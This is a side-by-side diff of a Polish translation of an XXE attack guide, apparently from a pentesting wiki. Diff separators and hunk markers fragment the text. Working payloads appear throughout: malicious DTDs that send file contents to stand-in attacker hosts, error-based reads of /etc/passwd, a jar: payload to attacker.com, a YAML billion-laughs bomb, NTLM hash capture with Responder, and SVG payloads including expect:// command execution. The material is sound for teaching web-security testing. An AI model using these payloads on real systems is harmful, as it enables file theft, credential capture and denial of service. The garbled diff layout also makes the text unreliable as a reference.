<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
### "Ślepy" SSRF - Wyprowadzanie danych poza pasmo
|
### "Ślepy" SSRF - Wyprowadzenie danych poza pasmem
|
||||||
|
|
||||||
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (**dla plików wieloliniowych można spróbować wyprowadzić je za pomocą** _**ftp://**_ korzystając na przykład z tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie oparte jest na** [**laboratorium Portswiggera tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
|
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (**dla **plików wieloliniowych można spróbować wyprowadzić je za pomocą** _**ftp://**_ korzystając na przykład z tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ta wyjaśnienie oparte jest na** [**laboratorium Portswiggera tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||||
|
|
||||||
W podanym złośliwym DTD przeprowadzane są kroki w celu wyprowadzenia danych:
|
W podanym złośliwym DTD przeprowadzane są kroki mające na celu wyprowadzenie danych:
|
||||||
|
|
||||||
### Przykład złośliwego DTD:
|
### Przykład złośliwego DTD:
|
||||||
```xml
|
```xml
|
||||||
|
@ -112,16 +116,16 @@ W podanym złośliwym DTD przeprowadzane są kroki w celu wyprowadzenia danych:
|
||||||
%eval;
|
%eval;
|
||||||
%exfiltrate;
|
%exfiltrate;
|
||||||
```
|
```
|
||||||
Kroki wykonywane przez ten DTD obejmują:
|
Kroki wykonane przez ten DTD obejmują:
|
||||||
|
|
||||||
1. **Definicja Encji Parametru:**
|
1. **Definicja Encji Parametrów:**
|
||||||
* Tworzona jest encja parametru XML, `%file`, czytająca zawartość pliku `/etc/hostname`.
|
* Utworzona jest encja parametru XML, `%file`, czytająca zawartość pliku `/etc/hostname`.
|
||||||
* Kolejna encja parametru XML, `%eval`, jest zdefiniowana. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona do wysłania żądania HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL.
|
* Kolejna encja parametru XML, `%eval`, jest zdefiniowana. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona do wysłania żądania HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL.
|
||||||
2. **Wykonanie Encji:**
|
2. **Wykonanie Encji:**
|
||||||
* Wykorzystywana jest encja `%eval`, prowadząc do wykonania dynamicznej deklaracji encji `%exfiltrate`.
|
* Wykorzystana jest encja `%eval`, prowadząc do wykonania dynamicznej deklaracji encji `%exfiltrate`.
|
||||||
* Następnie używana jest encja `%exfiltrate`, wywołując żądanie HTTP do określonego URL z zawartością pliku.
|
* Następnie używana jest encja `%exfiltrate`, wywołując żądanie HTTP do określonego URL z zawartością pliku.
|
||||||
|
|
||||||
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`.
|
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL `http://web-attacker.com/malicious.dtd`.
|
||||||
|
|
||||||
**Ładunek XXE:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
|
**Ładunek XXE:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
|
||||||
```xml
|
```xml
|
||||||
|
@ -129,18 +133,16 @@ Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwycza
|
||||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
Ten payload definiuje zmienną parametru XML `%xxe` i włącza ją w DTD. Po przetworzeniu przez analizator XML ten payload pobiera zewnętrzne DTD z serwera atakującego. Następnie analizator interpretuje DTD w linii, wykonując kroki określone w złośliwym DTD i prowadząc do wycieku pliku `/etc/hostname` do serwera atakującego.
|
### Oparty na Błędach (Zewnętrzny DTD)
|
||||||
|
|
||||||
### Błąd oparty na błędach (Zewnętrzne DTD)
|
**W tym przypadku spowodujemy, że serwer załaduje złośliwy DTD, który pokaże zawartość pliku wewnątrz komunikatu o błędzie (to jest ważne tylko jeśli możesz zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
|
||||||
|
|
||||||
**W tym przypadku sprawimy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku w komunikacie o błędzie (to jest ważne tylko jeśli możesz zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
|
|
||||||
|
|
||||||
Komunikat o błędzie analizy XML, ujawniający zawartość pliku `/etc/passwd`, może zostać wywołany za pomocą złośliwej zewnętrznej definicji typu dokumentu (DTD). Osiąga się to poprzez następujące kroki:
|
Komunikat o błędzie analizy XML, ujawniający zawartość pliku `/etc/passwd`, może zostać wywołany za pomocą złośliwej zewnętrznej definicji typu dokumentu (DTD). Osiąga się to poprzez następujące kroki:
|
||||||
|
|
||||||
1. Zdefiniowana jest zmienna parametru XML o nazwie `file`, która zawiera zawartość pliku `/etc/passwd`.
|
1. Zdefiniowano zewnętrzną jednostkę parametru XML o nazwie `file`, która zawiera treść pliku `/etc/passwd`.
|
||||||
2. Zdefiniowana jest zmienna parametru XML o nazwie `eval`, która zawiera dynamiczne zadeklarowanie innej zmiennej parametru XML o nazwie `error`. Ta zmienna `error`, gdy jest oceniana, próbuje załadować nieistniejący plik, włączając zawartość zmiennej `file` jako swoją nazwę.
|
2. Zdefiniowano zewnętrzną jednostkę parametru XML o nazwie `eval`, która zawiera dynamiczne zadeklarowanie innej jednostki parametru XML o nazwie `error`. Ta jednostka `error`, gdy jest oceniana, próbuje załadować nieistniejący plik, włączając treść jednostki `file` jako swoją nazwę.
|
||||||
3. Wywołana jest zmienna `eval`, prowadząc do dynamicznego zadeklarowania zmiennej `error`.
|
3. Wywołano jednostkę `eval`, co prowadzi do dynamicznego zadeklarowania jednostki `error`.
|
||||||
4. Wywołanie zmiennej `error` skutkuje próbą załadowania nieistniejącego pliku, co powoduje komunikat o błędzie zawierający zawartość pliku `/etc/passwd` jako część nazwy pliku.
|
4. Wywołanie jednostki `error` skutkuje próbą załadowania nieistniejącego pliku, co powoduje komunikat o błędzie zawierający treść pliku `/etc/passwd` jako część nazwy pliku.
|
||||||
|
|
||||||
Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:
|
Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:
|
||||||
```xml
|
```xml
|
||||||
|
@ -148,15 +150,15 @@ Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:
|
||||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
Po wykonaniu odpowiedź serwera WWW powinna zawierać komunikat o błędzie wyświetlający zawartość pliku `/etc/passwd`.
|
Po wykonaniu, odpowiedź serwera sieciowego powinna zawierać komunikat o błędzie wyświetlający zawartość pliku `/etc/passwd`.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (806).png>)
|
![](<../.gitbook/assets/image (806).png>)
|
||||||
|
|
||||||
_**Należy zauważyć, że zewnętrzny DTD pozwala na umieszczenie jednej jednostki wewnątrz drugiej (****`eval`****), ale jest to zabronione wewnętrznym DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).**_
|
_**Proszę zauważyć, że zewnętrzny DTD pozwala na umieszczenie jednej jednostki wewnątrz drugiej (****`eval`****), ale jest to zabronione wewnętrznym DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).**_
|
||||||
|
|
||||||
### **Oparte na błędach (DTD systemowe)**
|
### **Oparte na błędach (DTD systemowe)**
|
||||||
|
|
||||||
Co zatem z lukami w bezpieczeństwie XXE, gdy **blokowane są interakcje out-of-band** (zewnętrzne połączenia są niedostępne)?.
|
Co zatem z lukami w zabezpieczeniach XXE, gdy **blokowane są interakcje out-of-band** (zewnętrzne połączenia są niedostępne)?.
|
||||||
|
|
||||||
Luka w specyfikacji języka XML może **odsłonić poufne dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Ten problem pozwala na wewnętrzne ponowne zdefiniowanie jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują ponowne zdefiniowanie jednostki parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z wewnętrznego DTD. Gdy połączenia out-of-band są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mając na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.
|
Luka w specyfikacji języka XML może **odsłonić poufne dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Ten problem pozwala na wewnętrzne ponowne zdefiniowanie jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują ponowne zdefiniowanie jednostki parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z wewnętrznego DTD. Gdy połączenia out-of-band są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mając na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.
|
||||||
|
|
||||||
|
@ -173,13 +175,13 @@ Rozważmy scenariusz, w którym system plików serwera zawiera plik DTD w lokali
|
||||||
%local_dtd;
|
%local_dtd;
|
||||||
]>
|
]>
|
||||||
```
|
```
|
||||||
Kroki zarysowane są przez ten DTD:
|
Następujące kroki są wykonywane przez ten DTD:
|
||||||
|
|
||||||
* Definicja parametru XML o nazwie `local_dtd` obejmuje zewnętrzny plik DTD znajdujący się na systemie plików serwera.
|
* Definicja parametru XML o nazwie `local_dtd` obejmuje zewnętrzny plik DTD znajdujący się na systemie plików serwera.
|
||||||
* Następuje ponowne zdefiniowanie parametru XML `custom_entity`, pierwotnie zdefiniowanego w zewnętrznym DTD, aby otoczyć [exploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). To ponowne zdefiniowanie ma na celu wywołanie błędu analizy, ujawniając zawartość pliku `/etc/passwd`.
|
* Następuje ponowne zdefiniowanie parametru XML `custom_entity`, pierwotnie zdefiniowanego w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). To ponowne zdefiniowanie ma na celu wywołanie błędu analizy, ujawniając zawartość pliku `/etc/passwd`.
|
||||||
* Poprzez użycie parametru `local_dtd`, zaangażowany jest zewnętrzny DTD, obejmując nowo zdefiniowany `custom_entity`. Ta sekwencja działań powoduje wyemitowanie komunikatu błędu, który jest celem eksploatacji.
|
* Poprzez użycie parametru `local_dtd`, zaangażowany jest zewnętrzny DTD, obejmujący nowo zdefiniowany `custom_entity`. Ta sekwencja działań powoduje wyemitowanie komunikatu o błędzie, który jest celem eksploatacji.
|
||||||
|
|
||||||
**Przykład z życia rzeczywistego:** Systemy korzystające z środowiska pulpitu GNOME często posiadają DTD w lokalizacji `/usr/share/yelp/dtd/docbookx.dtd`, zawierający parametr o nazwie `ISOamso`.
|
**Przykład z życia wzięty:** Systemy korzystające z środowiska pulpitu GNOME często posiadają DTD w lokalizacji `/usr/share/yelp/dtd/docbookx.dtd`, zawierający parametr o nazwie `ISOamso`.
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
|
@ -194,22 +196,24 @@ Kroki zarysowane są przez ten DTD:
|
||||||
]>
|
]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
Jak ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając niektórych domyślnych DTD**, lub **pobierając listę** domyślnych DTD w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
|
![](<../.gitbook/assets/image (622).png>)
|
||||||
|
|
||||||
|
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając niektórych domyślnych DTD**, lub **pobierając listę** domyślnych DTD w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||||
%local_dtd;
|
%local_dtd;
|
||||||
]>
|
]>
|
||||||
```
|
```
|
||||||
Dla dalszych informacji sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
Aby uzyskać więcej informacji, sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
||||||
|
|
||||||
### Znajdowanie DTDs w systemie
|
### Znajdowanie DTD w systemie
|
||||||
|
|
||||||
W następującym niesamowitym repozytorium github możesz znaleźć **ścieżki DTDs, które mogą być obecne w systemie**:
|
W następującym niesamowitym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**:
|
||||||
|
|
||||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||||
|
|
||||||
Co więcej, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium do **skanowania** **obrazu** i **znalezienia** ścieżki **DTDs** obecnych w systemie. Przeczytaj [Readme na githubie](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak.
|
Co więcej, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium do **skanowania** **obrazu** i **znalezienia** ścieżki **DTD** obecnych w systemie. Przeczytaj [Readme na github](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak.
|
||||||
```bash
|
```bash
|
||||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||||
|
|
||||||
|
@ -221,21 +225,21 @@ Testing 0 entities : []
|
||||||
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
||||||
Testing 0 entities : []
|
Testing 0 entities : []
|
||||||
```
|
```
|
||||||
### XXE poprzez analizatory Office Open XML
|
### XXE za pomocą analizatorów Office Open XML
|
||||||
|
|
||||||
Dla bardziej szczegółowego wyjaśnienia tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
|
Dla bardziej szczegółowego wyjaśnienia tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
|
||||||
|
|
||||||
Możliwość **przesyłania dokumentów pakietu Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie przetwarzają pewne szczegóły z tych dokumentów. Na przykład aplikacja internetowa może pozwalać użytkownikom importować dane poprzez przesłanie arkusza kalkulacyjnego w formacie XLSX. Aby analizator mógł wydobyć dane z arkusza kalkulacyjnego, konieczne będzie przetworzenie co najmniej jednego pliku XML.
|
Możliwość **przesyłania dokumentów pakietu Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie przystępują do wyodrębniania pewnych szczegółów z tych dokumentów. Na przykład aplikacja internetowa może pozwalać użytkownikom importować dane poprzez przesłanie arkusza kalkulacyjnego w formacie XLSX. Aby analizator mógł wyodrębnić dane z arkusza kalkulacyjnego, konieczne będzie przeparsowanie co najmniej jednego pliku XML.
|
||||||
|
|
||||||
Aby przetestować tę podatność, konieczne jest utworzenie **pliku pakietu Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego można rozpakować dokument.
|
Aby przetestować tę podatność, konieczne jest utworzenie **pliku pakietu Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego można rozpakować dokument.
|
||||||
|
|
||||||
Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (np. vim). XML należy zmodyfikować, aby zawierał pożądany ładunek XXE, często zaczynając od żądania HTTP.
|
Po rozpakowaniu dokumentu, plik XML znajdujący się pod ścieżką `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (np. vim). XML należy zmodyfikować, aby zawierał pożądany ładunek XXE, często zaczynając od żądania HTTP.
|
||||||
|
|
||||||
Zmodyfikowane linie XML należy wstawić między dwoma obiektami XML. Ważne jest, aby zastąpić adres URL adresem monitorowalnym dla żądań.
|
Zmodyfikowane linie XML należy wstawić między dwoma głównymi obiektami XML. Ważne jest zastąpienie adresu URL adresem URL do monitorowania żądań.
|
||||||
|
|
||||||
Wreszcie, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy uruchomić następujące polecenie:
|
Wreszcie, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy uruchomić następujące polecenie:
|
||||||
|
|
||||||
Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej, a można liczyć na pojawienie się żądania w dziennikach Burp Collaborator.
|
Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej, a można mieć nadzieję, że żądanie pojawi się w dziennikach Burp Collaborator.
|
||||||
|
|
||||||
### Protokół Jar:
|
### Protokół Jar:
|
||||||
|
|
||||||
|
@ -245,24 +249,24 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, **bardzo przydatne jest nadużycie XXE za pomocą plików DTD systemu.** Sprawdź [tę sekcję, aby dowiedzieć się, jak nadużywać pliki DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, jest **bardzo przydatne do nadużywania XXE za pomocą plików DTD systemu.** Sprawdź [tę sekcję, aby dowiedzieć się, jak nadużywać pliki DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
|
Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
|
||||||
|
|
||||||
1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonego miejsca, takiego jak `https://download.website.com/archive.zip`.
|
1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonego miejsca, takiego jak `https://download.website.com/archive.zip`.
|
||||||
2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana na systemie, zazwyczaj w lokalizacji takiej jak `/tmp/...`.
|
2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana w systemie, zazwyczaj w lokalizacji takiej jak `/tmp/...`.
|
||||||
3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.
|
3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.
|
||||||
4. Konkretny plik w archiwum, `file.zip`, jest odczytywany.
|
4. Konkretny plik w archiwum, `file.zip`, jest odczytywany.
|
||||||
5. Po operacji, wszelkie tymczasowe pliki utworzone podczas tego procesu są usuwane.
|
5. Po zakończeniu operacji, wszystkie tymczasowe pliki utworzone podczas tego procesu są usuwane.
|
||||||
|
|
||||||
Interesującą techniką, aby przerwać ten proces na drugim kroku, jest utrzymywanie otwartej nieskończenie połączenia z serwerem podczas udostępniania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) mogą być wykorzystane w tym celu, w tym serwer Pythona (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
|
Interesującą techniką przerywania tego procesu na drugim kroku jest utrzymywanie otwartej nieskończenie połączenia serwera podczas obsługi pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) mogą być wykorzystane w tym celu, w tym serwer Pythona (`slow_http_server.py`) i serwer Javy (`slowserver.jar`).
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||||
<foo>&xxe;</foo>
|
<foo>&xxe;</foo>
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Zapisywanie plików w katalogu tymczasowym może pomóc w **eskalacji innej podatności związanej z trawersowaniem ścieżki** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja, itp).
|
Zapisywanie plików w katalogu tymczasowym może pomóc **eskalować inną podatność związaną z trawersowaniem ścieżek** (taką jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja, itp).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### XSS
|
### XSS
|
||||||
|
@ -294,13 +298,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||||||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||||
```
|
```
|
||||||
#### Atak kwadratowego rozprężenia
|
#### Atak kwadratowego rozprzestrzeniania
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (524).png>)
|
![](<../.gitbook/assets/image (524).png>)
|
||||||
|
|
||||||
#### Pozyskiwanie NTML
|
#### Pozyskiwanie NTML
|
||||||
|
|
||||||
Na hostach z systemem Windows można uzyskać skrót NTML użytkownika serwera sieciowego, ustawiając obsługę responder.py:
|
Na hostach Windows istnieje możliwość uzyskania skrótu NTML użytkownika serwera sieciowego poprzez ustawienie obsługi responder.py:
|
||||||
```bash
|
```bash
|
||||||
Responder.py -I eth0 -v
|
Responder.py -I eth0 -v
|
||||||
```
|
```
|
||||||
|
@ -314,7 +318,7 @@ i wysyłając następujący żądanie
|
||||||
|
|
||||||
### XInclude
|
### XInclude
|
||||||
|
|
||||||
Podczas integrowania danych klienta w dokumenty XML po stronie serwera, takie jak te w żądaniach SOAP po stronie serwera, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikowania elementu `DOCTYPE`. Jednak atak `XInclude` zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolny element danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy kontrolowane może być tylko część danych w generowanym przez serwer dokumencie XML.
|
Podczas integrowania danych klienta do dokumentów XML po stronie serwera, takich jak te w żądaniach SOAP po stronie serwera, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikowania elementu `DOCTYPE`. Jednak atak `XInclude` zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolny element danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy kontrolować można tylko część danych w wygenerowanym przez serwer dokumencie XML.
|
||||||
|
|
||||||
Aby przeprowadzić atak `XInclude`, przestrzeń nazw `XInclude` musi zostać zadeklarowana, a ścieżka pliku do zamierzonej zewnętrznej jednostki musi zostać określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
|
Aby przeprowadzić atak `XInclude`, przestrzeń nazw `XInclude` musi zostać zadeklarowana, a ścieżka pliku do zamierzonej zewnętrznej jednostki musi zostać określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
|
||||||
```xml
|
```xml
|
||||||
|
@ -328,7 +332,7 @@ Pliki przesyłane przez użytkowników do określonych aplikacji, które są nas
|
||||||
|
|
||||||
Kiedy użytkownicy **przesyłają obrazy**, te obrazy są przetwarzane lub sprawdzane po stronie serwera. Nawet dla aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystany przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na podatności XXE (XML External Entity).
|
Kiedy użytkownicy **przesyłają obrazy**, te obrazy są przetwarzane lub sprawdzane po stronie serwera. Nawet dla aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystany przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na podatności XXE (XML External Entity).
|
||||||
|
|
||||||
Poniżej przedstawiono przykład takiego ataku, w którym złośliwy obraz SVG próbuje odczytać pliki systemowe:
|
Poniżej pokazano przykład takiego ataku, w którym złośliwy obraz SVG próbuje odczytać pliki systemowe:
|
||||||
```xml
|
```xml
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||||
```
|
```
|
||||||
|
@ -338,7 +342,7 @@ Inna metoda polega na próbie **wykonania poleceń** za pomocą nakładki PHP "e
|
||||||
<image xlink:href="expect://ls"></image>
|
<image xlink:href="expect://ls"></image>
|
||||||
</svg>
|
</svg>
|
||||||
```
|
```
|
||||||
W obu przypadkach format SVG jest wykorzystywany do uruchamiania ataków wykorzystujących zdolności przetwarzania XML oprogramowania serwera, podkreślając konieczność solidnej walidacji danych wejściowych i środków bezpieczeństwa.
|
W obu przypadkach format SVG jest wykorzystywany do przeprowadzania ataków wykorzystujących zdolności przetwarzania XML oprogramowania serwera, podkreślając konieczność solidnej walidacji danych wejściowych i środków bezpieczeństwa.
|
||||||
|
|
||||||
Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji!
|
Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji!
|
||||||
|
|
||||||
|
@ -362,7 +366,7 @@ Content-Length: 7
|
||||||
|
|
||||||
foo=bar
|
foo=bar
|
||||||
```
|
```
|
||||||
W takim razie możesz złożyć następujące żądanie, uzyskując ten sam rezultat:
|
W takim razie możesz złożyć następujące żądanie, uzyskując ten sam wynik:
|
||||||
```xml
|
```xml
|
||||||
POST /action HTTP/1.0
|
POST /action HTTP/1.0
|
||||||
Content-Type: text/xml
|
Content-Type: text/xml
|
||||||
|
@ -400,7 +404,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||||
</root>
|
</root>
|
||||||
</root>
|
</root>
|
||||||
```
|
```
|
||||||
Kolejny przykład można znaleźć [tutaj](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
